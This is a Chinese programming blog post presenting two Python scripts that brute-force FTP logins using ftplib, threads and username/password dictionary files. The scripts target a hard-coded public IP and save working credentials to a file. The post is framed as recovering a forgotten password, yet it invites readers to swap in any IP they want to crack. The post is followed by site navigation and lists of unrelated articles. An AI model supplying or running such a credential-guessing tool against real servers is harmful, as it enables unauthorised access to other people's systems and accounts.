忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python爬虫常用的模块分析
Aug 29 Python
Python实现从百度API获取天气的方法
Mar 11 Python
Django中使用group_by的方法
May 26 Python
Python实现模拟登录及表单提交的方法
Jul 25 Python
离线安装Pyecharts的步骤以及依赖包流程
Apr 23 Python
python爬取各类文档方法归类汇总
Mar 22 Python
python调用tcpdump抓包过滤的方法
Jul 18 Python
python执行精确的小数计算方法
Jan 21 Python
python写入数据到csv或xlsx文件的3种方法
Aug 23 Python
python爬虫 2019中国好声音评论爬取过程解析
Aug 26 Python
Pytorch基本变量类型FloatTensor与Variable用法
Jan 08 Python
python 利用toapi库自动生成api
Oct 19 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
PHP4实际应用经验篇(9)
2006/10/09 PHP
在WordPress中使用wp-cron插件来设置定时任务
2015/12/10 PHP
PHP性能分析工具xhprof的安装使用与注意事项
2017/12/19 PHP
PHP crypt()函数的用法讲解
2019/02/15 PHP
js 浏览本地文件夹系统示例代码
2013/10/24 Javascript
在Node.js应用中使用Redis的方法简介
2015/06/24 Javascript
jQuery设置Cookie及删除Cookie实例分析
2016/04/15 Javascript
js中开关变量使用实例
2017/02/24 Javascript
纯JS实现只能输入数字的简单代码
2017/06/21 Javascript
angular.js和vue.js中实现函数去抖示例(debounce)
2018/01/18 Javascript
详解vue中localStorage的使用方法
2018/11/22 Javascript
Angular(5.2->6.1)升级小结
2018/12/27 Javascript
小程序:授权、登录、session_key、unionId的详解
2019/05/15 Javascript
vue实现绑定事件的方法实例代码详解
2019/06/20 Javascript
[03:17]2016完美“圣”典风云人物:冷冷专访
2016/12/08 DOTA
Python内置数据类型详解
2014/08/18 Python
Python 内置函数memoryview(obj)的具体用法
2017/11/23 Python
django连接oracle时setting 配置方法
2019/08/29 Python
python实现图片二值化及灰度处理方式
2019/12/07 Python
如何在python开发工具PyCharm中搭建QtPy环境(教程详解)
2020/02/04 Python
python数据预处理方式 :数据降维
2020/02/24 Python
Python替换NumPy数组中大于某个值的所有元素实例
2020/06/08 Python
什么是python的函数体
2020/06/19 Python
美国韩国化妆品和护肤品购物网站:Beautytap
2018/07/29 全球购物
英国标志性生活方式品牌:Skinnydip London
2019/12/15 全球购物
五年级音乐教学反思
2014/02/06 职场文书
网上卖盒饭创业计划书范文
2014/02/07 职场文书
应聘编辑自荐信范文
2014/03/12 职场文书
高中课程设置方案
2014/05/28 职场文书
物业品质提升方案
2014/06/08 职场文书
群众路线专项整治工作情况报告
2014/10/28 职场文书
抗洪救灾感谢信
2015/01/22 职场文书
教师个人成长总结
2015/02/11 职场文书
pytest配置文件pytest.ini的详细使用
2021/04/17 Python
Mysql 文件配置解析介绍
2022/05/06 MySQL
Nginx如何获取自定义请求header头和URL参数详解
2022/07/23 Servers